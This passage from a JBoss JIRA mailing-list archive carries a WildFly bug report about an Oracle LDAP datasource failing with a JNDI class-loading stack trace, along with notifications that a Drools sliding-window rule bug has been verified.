	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]

++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 07:26:03 2013
From: jira-events at lists.jboss.org (Jay Kumar SenSharma (JIRA))
Date: Wed, 11 Sep 2013 07:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.20218.1378898763429@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jay Kumar SenSharma updated WFLY-2047:
--------------------------------------

    Description: 
If a DataSource is created as following:
++++++++++++++++
	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
               <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
               <driver>oracle</driver>
               <pool>
                     <min-pool-size>1</min-pool-size>
                     <max-pool-size>15</max-pool-size>
               </pool>
               <security>
                   <user-name>Test</user-name>
                   <password>testPassword</password>
              </security>
       </datasource>

       <drivers>
             <driver name="oracle" module="com.oracle.jdbc6">
               <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
             </driver>
             <driver name="h2" module="com.h2database.h2">
               <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
             </driver>
       </drivers>
++++++++++++++++

Then while testing the DataSource the Wildfly throws the following Exception:

+++++++++++++++++++++
16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]

++++++++++++++++++++++

  was:
If a DataSource is created as following:


Then while testing the DataSource the Wildfly throws the following Exception:

+++++++++++++++++++++
16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]

++++++++++++++++++++++


    
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 08:32:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 08:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBRULES-3201) Sliding windows - Rule is
 being fired even when LHS is false
In-Reply-To: <JIRA.12446216.1315202901000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12446216.1315202901000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12446216.1315202901000.20366.1378902723608@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBRULES-3201?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803473#comment-12803473 ] 

RH Bugzilla Integration commented on JBRULES-3201:
--------------------------------------------------

Tomas Schlosser <tschloss at redhat.com> made a comment on [bug 995140|https://bugzilla.redhat.com/show_bug.cgi?id=995140]

Verified in 5.3.1.BRMS-P04
                
> Sliding windows - Rule is being fired even when LHS is false
> ------------------------------------------------------------
>
>                 Key: JBRULES-3201
>                 URL: https://issues.jboss.org/browse/JBRULES-3201
>             Project: JBRULES
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: drools-core (fusion)
>    Affects Versions: 5.3.0.Beta1
>         Environment: Linux
>            Reporter: eyal rahamim
>            Assignee: Mark Proctor
>              Labels: `
>         Attachments: windowLength.drl, WindowLength.java
>
>
> I have a rule that accumulate fact into sliding window.  When the count get to a certain threshold the rule should be activated.  After the window time is over, I expect that the rule will not fired anymore.  The counter of the fact is report as 0, but still the rule is being executed.
> drl :
> package com.sample;
> import com.sample.WindowLength.FactTest;
> declare FactTest
>   @role( event )  
> end
>  
> rule "A500 : test"
> when
> 		// count devices per tag id
> 		$counter : Number( intValue >= 2 ) from accumulate (
> 			 $d : FactTest() over window:time(1m), count($d))
> 			
> then
> 		System.out.println("A500: Rule is fired, count = " + $counter + " *********");
> end
> scenario:
> ksession.insert(new FactTest());
> ksession.fireAllRules();
> ksession.insert(new FactTest());
> ksession.fireAllRules();
> ksession.insert(new FactTest());
> ksession.fireAllRules();
> SessionPseudoClock clock = ksession.getSessionClock();
> clock.advanceTime(1, TimeUnit.MINUTES );
> ksession.fireAllRules();
> Result:
> A500: Rule is fired, count = 2 *********
> A500: Rule is fired, count = 3 *********
> A500: Rule is fired, count = 0 *********

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 08:32:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 08:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBRULES-3201) Sliding windows - Rule is
 being fired even when LHS is false
In-Reply-To: <JIRA.12446216.1315202901000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12446216.1315202901000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12446216.1315202901000.20371.1378902723781@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBRULES-3201?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803474#comment-12803474 ] 

RH Bugzilla Integration commented on JBRULES-3201:
--------------------------------------------------

Tomas Schlosser <tschloss at redhat.com> changed the Status of [bug 995140|https://bugzilla.redhat.com/show_bug.cgi?id=995140] from ON_QA to VERIFIED
                
> Sliding windows - Rule is being fired even when LHS is false
> ------------------------------------------------------------
>
>                 Key: JBRULES-3201
>                 URL: https://issues.jboss.org/browse/JBRULES-3201
>             Project: JBRULES
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: drools-core (fusion)
>    Affects Versions: 5.3.0.Beta1
>         Environment: Linux
>            Reporter: eyal rahamim
>            Assignee: Mark Proctor
>              Labels: `
>         Attachments: windowLength.drl, WindowLength.java
>
>
> I have a rule that accumulate fact into sliding window.  When the count get to a certain threshold the rule should be activated.  After the window time is over, I expect that the rule will not fired anymore.  The counter of the fact is report as 0, but still the rule is being executed.
> drl :
> package com.sample;
> import com.sample.WindowLength.FactTest;
> declare FactTest
>   @role( event )  
> end
>  
> rule "A500 : test"
> when
> 		// count devices per tag id
> 		$counter : Number( intValue >= 2 ) from accumulate (
> 			 $d : FactTest() over window:time(1m), count($d))
> 			
> then
> 		System.out.println("A500: Rule is fired, count = " + $counter + " *********");
> end
> scenario:
> ksession.insert(new FactTest());
> ksession.fireAllRules();
> ksession.insert(new FactTest());
> ksession.fireAllRules();
> ksession.insert(new FactTest());
> ksession.fireAllRules();
> SessionPseudoClock clock = ksession.getSessionClock();
